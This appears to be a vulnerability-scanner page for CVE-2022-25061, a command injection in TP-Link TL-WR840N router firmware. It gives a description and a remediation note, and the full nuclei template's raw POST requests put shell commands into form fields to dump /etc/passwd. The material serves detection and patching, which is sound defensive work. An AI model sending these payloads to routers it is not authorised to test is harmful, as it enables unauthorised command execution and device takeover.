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CVE-2022-25061· tp-link / tl-wr840n firmware· CWE-78

TP-Link TL-WR840N - Command Injection

criticalseverity
9.8CVSS score
58.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The TP-Link TL-WR840N(ES)_V6.20_180709 router contains a command injection vulnerability in the oal_setIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise.

Impact

Authenticated attackers can inject system commands through the oal_setIp6DefaultRoute component to execute arbitrary commands on the TP-Link router, enabling complete device compromise and network infiltration.

Fix

Update firmware to the latest version if available. If no firmware update is available,consider implementing network segmentation to limit access to the router's management interface.

How to confirm it

Send: POST /cgi?2
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-25061 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-25061

info:
  name: TP-Link TL-WR840N - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The TP-Link TL-WR840N(ES)_V6.20_180709 router contains a command injection vulnerability in the oal_setIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise.
  impact: |
    Authenticated attackers can inject system commands through the oal_setIp6DefaultRoute component to execute arbitrary commands on the TP-Link router, enabling complete device compromise and network infiltration.
  remediation: |
    Update firmware to the latest version if available. If no firmware update is available,consider implementing network segmentation to limit access to the router's management interface.
  reference:
    - https://github.com/exploitwritter/CVE-2022-25061/blob/main/CVE-2022-25061.py
    - https://east-trowel-102.notion.site/CVE-2021-XXXX-Injection-of-commands-through-object-oal_setIp6DefaultRoute-EN-ddf9c1db199d49829269147ada6cb312
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25061
    - http://router.com
    - http://tp-link.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25061
    cwe-id: CWE-78
    epss-score: 0.58701
    epss-percentile: 0.99111
    cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:6.20_180709:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: tp-link
    product: tl-wr840n_firmware
    shodan-query: 'title:"TL-WR840N"'
  tags: cve,cve2022,tplink,router,rce,iot,authenticated,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(3))}}"

http:
  - raw:
      - |
        POST /cgi?2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Authorization: Basic {{base64(username + ':' + password)}}
        Referer: {{RootURL}}/mainFrame.htm

        [NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
        enable=1
        userName=;cat /etc/passwd > /tmp/{{filename}}.txt;
        password=;cat /proc/cpuinfo >> /tmp/{{filename}}.txt;
        userDomain=;cat /tmp/{{filename}}.txt;
        login=1

      - |
        POST /cgi?2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Authorization: Basic {{base64(username + ':' + password)}}
        Referer: {{RootURL}}/mainFrame.htm

        [L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
        __ifAliasName=ewan_ipoev6_d
        __ifName=;cat /tmp/{{filename}}.txt;
        defaultConnectionService=

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

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